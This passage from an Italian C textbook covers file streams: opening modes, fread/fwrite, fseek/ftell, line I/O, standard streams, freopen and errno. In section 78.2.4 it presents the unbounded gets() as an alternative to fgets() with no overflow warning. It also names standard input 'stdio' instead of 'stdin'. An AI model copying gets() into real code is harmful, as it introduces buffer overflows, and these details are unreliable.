[15] In pratica, ***EXIT_SUCCESS*** equivale a zero, mentre ***EXIT_FAILURE*** equivale a uno.

[16] Lo standard non impone che si tratti di file veri e propri; tuttavia, in un sistema Unix o in qualunque altro sistema operativo analogo, questi sarebbero file da cercare secondo criteri stabiliti, come viene descritto.

[17] In fase di collegamento (*link*) può darsi che il programma che svolge questo compito richieda che i file-oggetto siano indicati secondo una certa sequenza logica, ma questo problema, se esiste, è al di fuori della competenza del linguaggio C.

[18] Si ricorda che, in questo contesto, per «file» si intende il risultato dell'elaborazione da parte del precompilatore, il quale a sua volta potrebbe avere fuso assieme diversi file.

[19] Una variabile potrebbe rappresentare un registro del microprocessore e in tal caso non si potrebbe costruire un puntatore alla stessa. Pertanto, l'argomento sui puntatori parte dal presupposto che le variabili a cui eventualmente si vuole fare riferimento tramite un puntatore siano allocate in memoria.

[20] Per dereferenziare un puntatore si usa generalmente l'asterisco davanti al nome, pertanto il valore a cui punta la variabile ***p*** è accessibile attraverso l'espressione ****p***. Tuttavia esiste un altro modo che viene chiarito a proposito dell'aritmetica dei puntatori, per cui lo stesso valore si raggiunge con l'espressione '**p[0]**'.

[21] In contesti particolari è ammissibile che ***argc*** sia pari a zero, a indicare che non viene fornita alcuna informazione; oppure, se gli argomenti vengono forniti ma il nome del programma è assente, ***argv[0][0]*** deve essere pari a <*NUL*>, ovvero al carattere nullo.

[22] L'indirizzo gestito da un puntatore a una funzione, riguarda potenzialmente uno «spazio di indirizzamento» differente rispetto a quello usato per le variabili. Per esempio, il puntatore ***p1***, riferito a una certa funzione, potrebbe avere lo stesso contenuto numerico del puntatore ***p2*** riferito a una variabile, ma nella memoria reale, i due puntatori raggiungerebbero posizioni differenti. Ciò serve per comprendere che la gestione dei puntatori alle funzioni non può essere confusa con quella dei dati, perché riguarda domini di indirizzamento diversi.

[23] È improbabile che sia utilizzato un tipo '**void ***', perché non sarebbe possibile scandire la memoria, salvo convertirlo ogni volta in un formato '**char ***'.

[24] **Unproto** software libero

Gestione dei flussi di file in C

Capitolo 78

78.1 Concetti generali 4581

78.1.1 Dal file al flusso di file 4582
78.1.2 File di testo e file binari 4583
78.1.3 Fine del file 4584
78.1.4 Memoria tampone 4585
78.1.5 Flussi standard 4585
78.1.6 Orientamento 4586

78.2 Utilizzo comune dei file 4586

78.2.1 Apertura e chiusura 4587
78.2.2 Lettura e scrittura 4588
78.2.3 Indicatore interno al file 4591
78.2.4 File di testo 4593
78.2.5 I/O standard 4594
78.2.6 Ridirezione 4595
78.2.7 Controllo degli errori 4595

78.3 Conversione di input e output 4597

78.3.1 Composizione dell'output 4597
78.3.2 Rappresentazione degli specificatori di composizione per l'emissione dei dati 4598
78.3.3 Funzioni per la composizione dell'output 4603
78.3.4 Concatenamento di stringhe 4603
78.3.5 Interpretazione dell'input 4604
78.3.6 Rappresentazione degli specificatori di conversione 4606
78.3.7 Funzioni per l'interpretazione dell'input 4607

78.4 Riferimenti 4608

`EOF` 4584 `errno` 4595 `fclose()` 4587 `fgets()` 4593 `FILE` 4582 4586 `fopen()` 4587 `fputs()` 4593 `fread()` 4588 `fseek()` 4591 `ftell()` 4591 `fwrite()` 4588 `printf()` 4603 `puts()` 4593 `reopen()` 4595 `scanf()` 4607 `stderr` 4594 `stdio` 4594 `stdio.h` 4582 `stdout` 4594 `vprintf()` 4603 `vscanf()` 4607 `WEOF` 4584 `%+...` 4598 `%...c` 4598 4606 `%...d` 4598 4606 `%...e` 4598 4606 `%...f` 4598 4606 `%...g` 4606 `%...hd` 4598 4606 `%...hhd` 4606 `%...hhi` 4606 `%...hho` 4606 `%...hhu` 4606 `%...hhx` 4606 `%...hi` 4598 4606 `%...ho` 4598 4606 `%...hu` 4598 4606 `%...hx` 4598 4606 `%...i` 4598 4606 `%...lc` 4598 4606 `%...ld` 4598 4606 `%...Le` 4598 4606 `%...Lf` 4598 4606 `%...Lg` 4606 `%...li` 4606 `%...lld` 4598 4606 `%...lli` 4606 `%...llo` 4598 4606 `%...llu` 4598 4606 `%...llx` 4598 4606 `%...lo` 4598 4606 `%...ls` 4598 4606 `%...lu` 4598 4606 `%...lx` 4598 4606 `%...o` 4598 4606 `%...s` 4598 4606 `%...u` 4598 4606 `%...x` 4598 4606 `%0...` 4598 `%-...` 4598

78.1 Concetti generali

Il linguaggio C ha un proprio modo per gestire i file che, per poter essere compreso, richiede l'introduzione di alcuni concetti, presentati in questo capitolo. Va osservato che lo standard del linguaggio C prevede i flussi di file, i quali però, in un sistema che si rifà al modello di Unix sono gestiti attraverso i descrittori di file. Per scrivere codice C che sia compatibile nel modo migliore con qualunque sistema operativo, occorre avvalersi soltanto dei flussi, a cui qui ci si riferisce.

78.1.1 Dal file al flusso di file

Dal punto di vista del programma scritto in linguaggio C, il file viene utilizzato in qualità di ***flusso logico di dati*** (*stream*), ovvero flusso di file. Per la precisione, un file viene aperto attribuendogli un puntatore che rappresenta il flusso di file relativo; quando poi il flusso viene chiuso, l'associazione con il file si conclude.

La gestione del flusso di file avviene in modo trasparente, con l'ausilio di funzioni standard, ma ciò implica la presenza di una sorta di tabellina contenente una serie di informazioni legate all'accesso al file. Questa tabellina è formata in modo differente, a seconda del contesto in cui ci si trova a compilare il programma, ma in generale dovrebbe contenere almeno alcune informazioni basilari: il riferimento a un array di caratteri usato in qualità di memoria tampone, assieme ai vari puntatori necessari alla sua gestione; il tipo di accesso al file; i riferimenti per accedere al file secondo le caratteristiche del sistema operativo.

Quella tabellina che raccoglie tutte le informazioni su un certo flusso di file è definita da una variabile strutturata, dalla quale deriva un tipo di dati dichiarato nel file di intestazione '`stdio.h`'. Il tipo di dati in questione è denominato '**`FILE`**'.

L'apertura di un file, attraverso le funzioni standard, coincide con l'ottenimento di un puntatore al tipo '**`FILE`**'; pertanto, questo puntatore rappresenta il flusso di file e tutti i riferimenti a tale flusso si fanno con quel puntatore.

La modalità di accesso al file distingue tra lettura, scrittura e scrittura in aggiunta, utilizzando una simbologia particolare per esprimerla. Lo specchietto successivo sintetizza le operazioni consentite in base alla modalità utilizzata:[1]

`r`	**`w`**	**`a`**	**`r+`**	**`w+`**	**`a+`**	Annotazioni
X			X			Per aprire un file in lettura, con queste modalità, è necessario che esista già.
	X			X		Quando si apre un file in scrittura, con queste modalità, se il file non esiste viene creato al volo, se invece esiste già, il suo contenuto precedente viene eliminato.
X			X	X	X	Con queste modalità è possibile leggere il contenuto del file.
	X	X	X	X	X	Con queste modalità è possibile modificare il contenuto del file.
		X			X	Con queste modalità è possibile scrivere nel file soltanto aggiungendo dati in coda.

Figura 78.2. Rappresentazione intuitiva dell'associazione tra una variabile strutturata di tipo '**`FILE`**' e il file a cui fa riferimento. Qui viene ipotizzato un array di elementi di tipo '**`FILE`**', ma non è detto che l'organizzazione della libreria standard che si utilizza sia conforme a questa organizzazione.

78.1.2 File di testo e file binari

Il linguaggio C nasce per il sistema Unix, dove il file di testo ha una conformazione particolare che non è condivisa universalmente. Il file di testo in un sistema Unix o derivato è composto da una sequenza di caratteri (tradotti in byte),[2] dove la separazione tra le righe è segnalata dal codice *new-line*, corrispondente a <*LF*>, ovvero la sequenza '**`\n`**'.

Nei sistemi Dos e MS-Windows si ha una rappresentazione simile, dove però il codice di interruzione di riga è rappresentato dalla sequenza <*CR*><*LF*>. In altri sistemi si usano codice di interruzione di riga differenti e sono ammissibili forme molto diverse per rappresentare un file di testo.

Per questa ragione, il linguaggio C distingue l'accesso ai file attraverso due tipologie fondamentali: file di testo e file binari. In questo modo, quando si prevede un accesso in modalità testuale, la lettura e la scrittura del file avvengono attraverso una mediazione, tale da consentire al programmatore di trattare il file come se avesse la stessa rappresentazione di un sistema Unix. Naturalmente, in un sistema Unix e in qualunque altro sistema equivalente e conforme alla tradizione, non c'è distinzione tra l'accesso testuale ai file e quello binario.

Da quanto esposto vanno considerate due cose: quando si interviene su un file di testo, il codice corrispondente alla sequenza '**`\n`**' va inteso genericamente come codice di interruzione di riga; inoltre, il modo in cui si tiene traccia della posizione corrente all'interno di un file di testo non è predeterminabile, soprattutto perché non si può sapere quanti byte separano la fine di una riga dall'inizio della successiva.

Il testo seguente è citato dalla documentazione standard *ISO/IEC 9899:TC2* e può servire per comprendere meglio il significato attribuito ai concetti di file di testo e di file binario:

> *A text stream is an ordered sequence of characters composed into lines, each line consisting of zero or more characters plus a terminating new-line character. Whether the last line requires a terminating new-line character is implementation-defined. Characters may have to be added, altered, or deleted on input and output to conform to differing conventions for representing text in the host environment. Thus, there need not be a one- to-one correspondence between the characters in a stream and those in the external representation. Data read in from a text stream will necessarily compare equal to the data that were earlier written out to that stream only if: the data consist only of printing characters and the control characters horizontal tab and new-line; no new-line character is immediately preceded by space characters; and the last character is a new-line character. Whether space characters that are written out immediately before a new-line character appear when read in is implementation-defined.*
>
> *A binary stream is an ordered sequence of characters that can transparently record internal data. Data read in from a binary stream shall compare equal to the data that were earlier written out to that stream, under the same implementation. Such a stream may, however, have an implementation-defined number of null characters appended to the end of the stream.*

78.1.3 Fine del file

Nei documenti che trattano del linguaggio C si fa spesso riferimento alla macro-variabile ***EOF*** (dichiarata nel file '`stdio.h`'), in qualità di valore che si ottiene quando si tenta di leggere oltre la fine del file. La macro-variabile ***EOF*** corrisponde a un valore negativo che solitamente è -1, trattato come intero normale. Generalmente si può ottenere un valore di questo genere quando la lettura avviene carattere per carattere (inteso nel senso del tipo '**`char`**', corrispondente al byte), perché in questi casi il carattere letto viene convertito in un valore senza segno, esteso alla dimensione di un intero normale. In questo modo, nessun carattere potrebbe confondersi con un valore negativo di un intero di tipo '**`int`**'.

Quando però la lettura di un file avviene attraverso funzioni che leggono un carattere esteso alla volta (l'equivalente di un carattere '**`wchar_t`**'), queste restituiscono un valore di tipo differente ('**`wint_t`**') con cui si può rappresentare sia un carattere esteso, sia il valore rappresentato dalla macro-variabile ***WEOF*** che non individua alcun carattere esteso e rappresenta il raggiungimento della fine del file. A differenza di ***EOF***, il valore di ***WEOF*** potrebbe essere positivo o negativo indifferentemente, perché conta solo che si tratti di un valore che non corrisponde ad alcun carattere esteso.

Di norma, il raggiungimento della fine di un file viene annotato all'interno della variabile strutturata che controlla il flusso (a cui ci si riferisce con un puntatore di tipo '**`FILE *`**') e può essere interrogata con una funzione apposita. Naturalmente, l'uso di una funzione che porti alla modifica della posizione corrente, va ad azzerare tale indicazione.

78.1.4 Memoria tampone

I flussi di file possono disporre di una memoria tampone (*buffer*) che di norma è costituita da un array di caratteri ed è gestita da puntatori annotati all'interno delle variabili strutturate di tipo '**FILE**' associate ai flussi stessi.

Il programmatore ha la possibilità di controllare l'uso della memoria tampone, definendone la dimensione o arrivando a escluderla del tutto. In particolare, se si utilizza la memoria tampone, si può distinguere tra una gestione completa e una gestione a righe di testo.

L'uso della memoria tampone implica che le operazioni di scrittura possono avvenire con un certo ritardo. In generale, alla chiusura di un flusso di file si ottiene anche lo scarico della memoria tampone per ciò che riguarda le operazioni di scrittura ancora sospese; eventualmente è disponibile anche una funzione per richiedere espressamente l'esecuzione della scrittura in qualunque altro momento.

Va osservato che gli accessi ai file si prevedono in modo esclusivo; pertanto la gestione della memoria tampone è interna al programma. Per un accesso condiviso ai file la memoria tampone non può essere usata e comunque occorrono delle accortezze che le funzioni standard non possono offrire.

78.1.5 Flussi standard

Il linguaggio C prevede che ogni programma disponga, in modo predefinito, di tre flussi di file già costituiti: standard input, standard output e standard error. Il primo è predisposto per la lettura e di norma è collegato alla tastiera; il secondo e il terzo consentono solo la scrittura e sono collegati normalmente allo schermo.

Il fatto di disporre di tre flussi già in essere implica che ci siano tre puntatori di tipo '**FILE ***' già predisposti e associati correttamente alle strutture rispettive, per il controllo dei flussi di competenza. Va osservato che mentre i flussi standard non possono essere costituiti esplicitamente, potrebbero invece essere chiusi, oppure potrebbero essere riassegnati associandoli a file (o dispositivi) differenti.

L'associazione iniziale dei flussi standard a file o dispositivi dipende da ciò che succede in fase di avvio del programma (una shell potrebbe ridirigere i flussi a file diversi da quelli consueti). In condizioni normali, lo standard error è privo di memoria tampone, perché ciò che viene segnalato attraverso questo canale deve essere recepito il più presto possibile; per quanto riguarda invece gli altri due flussi, se questi non sono associati a dispositivi interattivi, di norma sono provvisti di memoria_tampone.

Rimane da chiarire in che modo il file corrispondente al flusso sia aperto: l'associazione a una modalità di accesso binaria o testuale dovrebbe dipendere dal contesto e precisamente da ciò che determina il sistema operativo. È comunque possibile cambiare espressamente tale modalità, nel caso ciò fosse auspicabile.

78.1.6 Orientamento

I dati scritti e letti da un file vengono gestiti sempre attraverso sequenze di byte. Quando si devono rappresentare «caratteri estesi», tali da non poter essere espressi in un solo byte, si usano delle sequenze multibyte, secondo una codifica che normalmente dipende dalla configurazione locale.

La codifica multibyte utilizzata può essere priva di stato, in quanto ogni carattere esteso ha la propria sequenza indipendente, oppure può richiedere, di volta in volta, la selezione di un sottoinsieme di caratteri differente (attraverso quello che viene chiamato *shift state*). In ogni caso, sia la scrittura, sia la lettura, richiede di tenere traccia dello stato di completamento e, se necessario, della modalità di interpretazione in corso (*shift state*). Queste informazioni possono essere raccolte in un'area di memoria organizzata secondo il tipo '**mbstate_t**' (*Multibyte state*) che di solito è strutturata in più componenti.

Nella variabile strutturata di tipo '**FILE**' che rappresenta un flusso aperto, usata per gestire l'accesso al file relativo, deve essere presente un componente di tipo '**mbstate_t**' per poter seguire lo stato di interpretazione di una sequenza multibyte.

Onde evitare confusione, un flusso di file (aperto in modo binario o testuale, indifferentemente), deve essere ***orientato***, nel senso che occorre stabilire se vada gestito a caratteri normali o estesi. In mancanza di una dichiarazione esplicita, l'orientamento viene definito in base all'uso del flusso attraverso funzioni specializzate per il trattamento di stringhe normali o di stringhe estese. Per esempio, si ottiene un orientamento orientato al byte (*byte-oriented*) se si utilizza la funzione ***fprintf()*** (*file print formatted*), mentre si ottiene un orientamento esteso (*wide-oriented*) se si usa la funzione ***fwprintf()*** (*file wide print formatted*).

Una volta impostato l'orientamento, anche solo attraverso l'uso iniziale di una funzione invece di un'altra, questo può essere cambiato solo in modo esplicito, eventualmente riaprendo il flusso. Ma se questo cambiamento esplicito non viene eseguito, non è possibile utilizzare il flusso attraverso funzioni che non siano conformi all'orientamento esistente.

Si osservi che anche i tre flussi standard, all'inizio dell'esecuzione del programma, sono ancora privi di orientamento.

78.2 Utilizzo comune dei file

Nel linguaggio C, i file aperti sono flussi di file e l'apertura coincide con la predisposizione automatica di una variabile strutturata di tipo '**FILE**', a cui, di conseguenza, si fa riferimento attraverso un puntatore (di tipo '**FILE ***'). Di solito, questo puntatore viene chiamato discorsivamente «puntatore al file», ovvero *file pointer*.

Quando si vuole accedere a un file, così come per poter usare le funzioni che consentono l'input e l'output elementare, è necessario includere il file '`stdio.h`', dove, tra l'altro, è dichiarato il tipo '**FILE**'.

78.2.1 Apertura e chiusura

L'apertura dei file viene ottenuta normalmente con la funzione ***fopen()*** che restituisce il puntatore al file, oppure il puntatore nullo, '**`NULL`**', in caso di fallimento dell'operazione. L'esempio seguente mostra l'apertura del file '`mio_file`' contenuto nella directory corrente, con una modalità di accesso in sola lettura.

```
#include <stdio.h>
...
int main (void)
  {
    FILE *fp_mio_file;
    ...
    fp_mio_file = fopen ("mio_file", "r");
    ...
  }
```

Come si vede dall'esempio, è normale assegnare il puntatore ottenuto a una variabile adatta, che da quel momento identifica il file, finché questo resta aperto.

La chiusura del file avviene in modo analogo, attraverso la funzione ***fclose()***, che restituisce zero se l'operazione è stata conclusa con successo, oppure il valore rappresentato da '**`EOF`**'. L'esempio seguente ne mostra l'utilizzo.

```
...
    fclose (fp_mio_file);
...
```

La chiusura del file conclude l'attività con questo, dopo avere scritto tutti i dati eventualmente ancora rimasti in sospeso (se il file è stato aperto in scrittura).

Normalmente, un file aperto viene definito come flusso di file, o *stream*; così, nello stesso modo viene identificata la variabile puntatore che vi si riferisce. In effetti, lo stesso file potrebbe anche essere aperto più volte con puntatori differenti, quindi è corretto distinguere tra file fisici su disco e file aperti, o flussi.

Seguono gli schemi sintattici di ***fopen()*** e ***fclose()***, in forma di prototipo di funzione:

```
FILE *fopen (char *file, char *modalità);
```

```
int fclose (FILE *flusso_di_file);
```

La funzione ***fopen()*** richiede come secondo argomento una stringa contenente l'informazione della modalità di accesso. Questa può essere composta utilizzando i simboli seguenti, dove la lettera '**`b`**' richiede espressamente un accesso binario, mentre la mancanza di tale lettera indica un accesso con le convenzioni dei file di testo:

Stringa	Descrizione
`r` `rb`	apre il file in sola lettura, posizionandosi all'inizio del file;
`r+` `rb+` | `r+b`	apre il file in lettura e scrittura, posizionandosi all'inizio del file;
`w` `wb`	apre il file in sola scrittura, creandolo se necessario, o troncandone a zero il suo contenuto se questo esiste già;
`w+` `wb+` | `w+b`	apre il file in scrittura e lettura, creandolo se necessario, o troncandone a zero il suo contenuto se questo esiste già;
`a` `ab`	apre il file in scrittura in aggiunta (*append*), creandolo se necessario, o aggiungendovi dati a partire dalla fine e, di conseguenza, posizionandosi alla fine dello stesso;
`a+` `ab+` | `a+b`	apre il file in scrittura in aggiunta e in lettura, creandolo se necessario, o aggiungendovi dati a partire dalla fine e, di conseguenza, posizionandosi alla fine dello stesso.

La funzione ***fclose()*** restituisce zero in caso di successo, oppure il valore corrispondente alla macro-variabile ***EOF*** (annotando anche un valore appropriato nella variabile ***errno***).

78.2.2 Lettura e scrittura

L'accesso al contenuto dei file avviene generalmente a livello di byte e le operazioni di lettura e scrittura dipendono da un indicatore riferito a una posizione, espressa in byte, del contenuto del file stesso. Naturalmente, tale indicatore fa parte delle informazioni che si conservano nella variabile strutturata di tipo '**`FILE`**', a cui si fa riferimento per identificare il flusso di file.

A seconda di come viene aperto il file, questo indicatore viene posizionato nel modo più logico, come descritto a proposito della funzione ***fopen()***. Questo indicatore viene spostato automaticamente a seconda delle operazioni di lettura e scrittura che si compiono, tuttavia, quando si passa da una modalità di accesso all'altra, è necessario spostare l'indicatore attraverso le istruzioni opportune, in modo da non creare ambiguità.

Per la lettura generica di un file in modo binario (nel senso di una lettura tale e quale del file) si può usare la funzione ***fread()*** che legge una quantità di byte trattandoli come un array. Per la precisione, si tratta di definire la dimensione di ogni elemento, espressa in byte, quindi la quantità di tali elementi. Il risultato della lettura viene inserito in un array, i cui elementi hanno la stessa dimensione. Si osservi l'esempio seguente:

```
…
    char ca[100];
    FILE *fp;
    int i;
    …
    i = fread (ca, 1, 100, fp);
    …
```

In questo modo si intende leggere 100 elementi della dimensione di un solo byte, collocandoli nell'array ***ca***, organizzato nello stesso modo. Naturalmente, non è detto che la lettura abbia successo, o quantomeno non è detto che si riesca a leggere la quantità di elementi richiesta. Il valore restituito dalla funzione rappresenta la quantità di elementi letti effettivamente. Se si verifica un qualsiasi tipo di errore che impedisce la lettura, la funzione si limita a restituire zero.

Quando il file viene aperto in lettura, l'indicatore interno viene posizionato all'inizio del file; quindi, ogni operazione di lettura sposta in avanti il puntatore, in modo che la lettura successiva avvenga a partire dalla posizione immediatamente seguente:

```
…
    char ca[100];
    FILE *fp;
    int i;
    …
    fp = fopen ("mio_file", "rb");
    …
    while (1)        /* Ciclo senza fine */
      {
        i = fread (ca, 1, 100, fp);
        if (i == 0)
          {
            break;      /* Termina il ciclo */
          }
        …
      }
    …
```

In questo modo, come mostra l'esempio, viene letto tutto il file a colpi di 100 byte alla volta, tranne l'ultima in cui si ottiene solo quello che resta da leggere.

Analogamente, la scrittura può essere eseguita con la funzione ***fwrite()*** che scrive una quantità di byte trattandoli come un array, nello stesso modo già visto con la funzione ***fread()***. La scrittura procede a partire dalla posizione corrente riferita al file.

```
…
    char ca[100];
    FILE *fp;
    int i;
    …
    i = fwrite (ca, 1, 100, fp);
    …
```

L'esempio, come nel caso di ***fread()***, mostra la scrittura di 100 elementi di un solo byte, prelevati da un array. Il valore restituito dalla funzione è la quantità di elementi che sono stati scritti con successo. Se si verifica un qualsiasi tipo di errore che impedisce la scrittura, la funzione si limita a restituire zero.

Anche in scrittura è importante l'indicatore della posizione interna del file. Di solito, quando si crea un file o lo si estende, l'indicatore si trova sempre alla fine. L'esempio seguente mostra lo scheletro di un programma che crea un file, copiando il contenuto di un altro (non viene utilizzato alcun tipo di controllo degli errori).

```
#include <stdio.h>
…
int main (void)
{
    char ca[1024];
    FILE *fp_in;
    FILE *fp_out;
    int i;
    …
    fp_in = fopen ("file_in", "r");
    …
    fp_out = fopen ("file_out", "w");
    …
    while (1)                    // Ciclo senza fine.
      {
        i = fread (ca, 1, 1024, fp_in);
        if (i == 0)
          {
            break;               // Termina il ciclo.
          }
        …
        fwrite (ca, 1, i, fp_out);
        …
      }
    …
    fclose (fp_in);
    fclose (fp_out);
    …
    return 0;
}
```

Seguono i modelli sintattici di *fread()* e *fwrite()*, espressi in forma di prototipi di funzione:

```
size_t fread (void *restrict ptr,
              size_t dimensione,
              size_t quantità,
              FILE *restrict stream);
```

```
size_t fwrite (const void *restrict ptr,
               size_t dimensione,
               size_t quantità,
               FILE *stream);
```

Il tipo di dati '**size_t**' serve a garantire la compatibilità con qualunque tipo intero, mentre il tipo '**void**' per l'array permette l'utilizzo di qualunque tipo per i suoi elementi, anche se negli esempi è sempre stato visto il trattamento di sole sequenze di byte.

78.2.3 Indicatore interno al file

Lo spostamento diretto dell'indicatore interno della posizione di un file aperto è un'operazione necessaria quando il file è stato aperto simultaneamente in lettura e in scrittura, e da un tipo di operazione si vuole passare all'altro. Per questo si utilizza la funzione *fseek()* ed eventualmente anche *ftell()* per conoscere la posizione attuale. La posizione e gli spostamenti sono espressi in byte.

La funzione *fseek()* esegue lo spostamento a partire dall'inizio del file, oppure dalla posizione attuale, oppure dalla posizione finale. Per questo utilizza un parametro che può avere tre valori identificati rispettivamente da tre macro-variabili: ***SEEK_SET***, ***SEEK_CUR*** e ***SEEK_END***. l'esempio seguente mostra lo spostamento del puntatore, riferito al flusso di file *fp*, in avanti di 10 byte, a partire dalla posizione attuale.

```
…
i = fseek (fp, 10, SEEK_CUR);
…
```

La funzione *fseek()* restituisce zero se lo spostamento avviene con successo, altrimenti si ottiene un valore negativo.

L'esempio seguente mostra lo scheletro di un programma, senza controlli sugli errori, che, dopo aver aperto un file in lettura e scrittura, lo legge a blocchi di dimensioni uguali, modifica questi blocchi e li riscrive nel file.

```
#include <stdio.h>

static const int dim = 100;     // Dimensione del record logico.

int main (void)
{
```

```
    char ca[dim];
    FILE *fp;
    int qta;
    int posizione_1;
    int posizione_2;

    fp = fopen ("mio_file", "r+b");     // Lettura e scrittura.

    while (1)                           // Ciclo senza fine.
      {
        //
        // Salva la posizione del puntatore interno al file
        // prima di eseguire la lettura.
        //
        posizione_1 = ftell (fp);
        qta = fread (ca, 1, dim, fp);

        if (qta == 0)
          {
            break;                      // Termina il ciclo.
          }
        //
        // Salva la posizione del puntatore interno al file
        // dopo la lettura.
        //
        posizione_2 = ftell (fp);
        //
        // Sposta il puntatore alla posizione precedente alla lettura.
        //
        fseek (fp, posizione_1, SEEK_SET);
        //
        // Esegue qualche modifica nei dati, per esempio mette un
        // punto esclamativo all'inizio.
        //
        ca[0] = '!';
        //
        // Riscrive il record modificato.
        //
        fwrite (ca, 1, qta, fp);
        //
        // Riporta il puntatore interno al file alla posizione
        // corretta per eseguire la lettura successiva
        //
        fseek (fp, posizione_2, SEEK_SET);
      }

    fclose (fp);
```

```
    return 0;
}
```

Segue il modello sintattico per l'uso della funzione ***fseek()***, espresso attraverso il suo prototipo:

```
int fseek (FILE *stream, long int spostamento, int punto_di_partenza);
```

Il valore dello spostamento, fornito come secondo parametro, rappresenta una quantità di byte che può essere anche negativa, indicando in tal caso un arretramento dal punto di partenza. Il valore restituito da ***fseek()*** è zero se l'operazione viene completata con successo, altrimenti viene restituito un valore diverso.

Segue il modello sintattico per l'uso della funzione ***ftell()***, espresso attraverso il suo prototipo:

```
long int ftell (FILE *stream)
```

La funzione ***ftell()*** permette di conoscere la posizione dell'indicatore interno al file a cui fa riferimento il flusso di file fornito come parametro. Se si tratta di un file per il quale si esegue un accesso binario, la posizione ottenuta è assoluta, ovvero riferita all'inizio del file.

Il valore restituito in caso di successo è positivo, a indicare appunto la posizione dell'indicatore. Se si verifica un errore viene restituito un valore negativo: −1.

78.2.4 File di testo

I file di testo possono essere gestiti in modo più semplice attraverso due funzioni: ***fgets()*** e ***fputs()***. Queste permettono rispettivamente di leggere e scrivere un file una riga alla volta, intendendo come riga una porzione di testo che termina con il codice di interruzione di riga, secondo l'astrazione usata dal linguaggio.

La funzione ***fgets()*** permette di leggere una riga di testo di una data dimensione massima. Si osservi l'esempio seguente:

```
...
fgets (ca, 100, fp);
...
```

In questo caso, viene letta una riga di testo di una dimensione massima di 99 caratteri, dal file rappresentato dal puntatore ***fp***. Questa riga viene posta all'interno dell'array ***ca***, con l'aggiunta di un carattere '`\0`' finale. Questo fatto spiega il motivo per il quale il secondo parametro corrisponde a 100, mentre la dimensione massima della riga letta è di 99 caratteri. In pratica, l'array di destinazione è sempre una stringa, terminata correttamente.

Nello stesso modo funziona ***fputs()***, che però richiede solo la stringa e il puntatore del file da scrivere. Dal momento che una stringa contiene già l'informazione della sua lunghezza perché possiede un carattere di conclusione, non è prevista l'indicazione della quantità di elementi da scrivere.

```
...
fputs (ca, fp);
...
```

Seguono i modelli sintattici delle funzioni ***fputs()*** e ***fgets()***, in forma di prototipi di funzione:

```
char *fgets (char *stringa, int dimensione_max, FILE *stream);
```

```
int fputs (const char *stringa, FILE *stream)
```

Se l'operazione di lettura riesce, ***fgets()*** restituisce un puntatore corrispondente alla stessa stringa (cioè l'array di caratteri di destinazione), altrimenti restituisce il puntatore nullo, '**`NULL`**', per esempio quando è già stata raggiunta la fine del file.

La funzione ***fputs()*** permette di scrivere una stringa in un file di testo. La stringa viene scritta senza il codice di terminazione finale, '**`\0`**', ma anche senza aggiungere il codice di interruzione di riga. Il valore restituito è un valore positivo in caso si successo, altrimenti '**`EOF`**'.

In alternativa a ***fgets()*** e a ***fputs()*** si possono considerare anche le funzioni ***gets()*** e ***puts()***, le quali però utilizzano rispettivamente lo standard input e lo standard output. Ma la funzione ***gets()*** legge tutto quello che trova fino alla fine della riga o, in mancanza di questo, fino alla fine del file, mentre ***puts()*** **aggiungere automaticamente il codice di interruzione di riga** alla fine della stringa che viene scritta nel file.

```
char *gets (char *stringa);
```

```
int puts (const char *stringa)
```

78.2.5 I/O standard

Ci sono tre flussi di file che risultano aperti in modo predefinito, all'avvio del programma:

- standard input, corrispondente normalmente alla tastiera;
- standard output, corrispondente normalmente allo schermo del terminale;
- standard error, anch'esso corrispondente normalmente allo schermo del terminale.

Spesso si utilizzano questi flussi di file attraverso funzioni apposite (come nel caso di ***gets()*** e ***puts()***) che vi fanno riferimento in modo implicito, ma si potrebbe accedere anche attraverso funzioni generalizzate, utilizzando come puntatori i nomi: '**`stdio`**', '**`stdout`**' e '**`stderr`**'.

78.2.6 Ridirezione

È possibile associare un flusso di file già in essere, a un file differente, attraverso la funzione ***freopen()***, oppure è possibile modificarne la modalità di accesso. Evidentemente questo tipo di operazione richiede la chiusura del flusso di file, prima di associarvi un file differente o di cambiare la modalità, cosa che comunque tenta di eseguire automaticamente la stessa funzione ***freopen()***:

```
FILE *freopen (const char *restrict nome_file_nuovo,
               const char *restrict modalità_di_accesso,
               FILE *restrict flusso di file);
```

La funzione, se riesce a eseguire il proprio compito, restituisce il puntatore allo stesso flusso di file indicato come terzo argomento, ovvero quello a cui viene applicata la ridirezione o la modifica dei permessi (o entrambe le cose). Per limitare l'effetto alla sola modifica della modalità di accesso, è sufficiente indicare il puntatore nullo al posto del nome del file. Viene mostrato un esempio che ridirige lo standard output:

```
#include <stdio.h>
int main (void)
{
    printf ("ciao 1\n");
    freopen ("mio", "w", stdout);
    printf ("ciao 2\n");
    freopen ("/dev/tty", "w", stdout);
    printf ("ciao 3\n");
    return 0;
}
```

In questo caso, dal momento che la funzione ***printf()*** scrive automaticamente attraverso lo standard output, quando il flusso di file '**`stdout`**' viene ridiretto nel file '`mio`', il testo '**`ciao 2`**' viene scritto in tale file. Ipotizzando di operare in un sistema Unix o in un sistema equivalente, il file di dispositivo '`/dev/tty`' dovrebbe corrispondere allo schermo del terminale utilizzato in quel momento (anche se fosse un terminale grafico); pertanto, il messaggio '**`ciao 3`**' dovrebbe apparire nuovamente sullo schermo.

Logicamente, quando si riapre un file e si cambia la modalità, da binaria a testo o viceversa, può essere appropriato un riposizionamento, con l'aiuto di ***fseek()***.

78.2.7 Controllo degli errori

Molte funzioni, quando si verifica un errore, annotano quanto accaduto, in forma di numero intero, in una variabile globale nota con il nome ***errno***. In generale, il nome ***errno*** è un'espressione che si traduce nell'accesso, a un'area di memoria, condiviso dal programma, ed eventualmente distinto in base al thread, ovvero il flusso di controllo. Il significato del valore attribuito alla variabile ***errno*** è descritto da macro-variabili definite nel file '`errno.h`', nel quale viene anche dichiarata la variabile ***errno***, o l'espressione che la rappresenta.

La lettura della variabile ***errno*** porta alla conoscenza dell'ultimo errore che si è presentato e non è previsto il suo azzeramento automatico.

La variabile strutturata che si utilizza per fare riferimento a un flusso di file prevede anche l'annotazione di uno stato di errore. In pratica, le funzioni che accedono ai file, oltre che aggiornare la variabile globale ***errno***, gestiscono l'indicazione di questo stato, azzerandolo quando non è più significativo. Per verificare la presenza di uno stato di errore ancora valido, a proposito di un flusso di file, si usa la funzione ***ferror()*** che restituisce un valore diverso da zero se questo stato esiste effettivamente:

```
int ferror (FILE *flusso_di_file);
```

Per interpretare l'errore annotato nella variabile ***errno*** e visualizzare direttamente un messaggio attraverso lo standard error, si può usare la funzione ***perror()***:

```
void perror (const char *s);
```

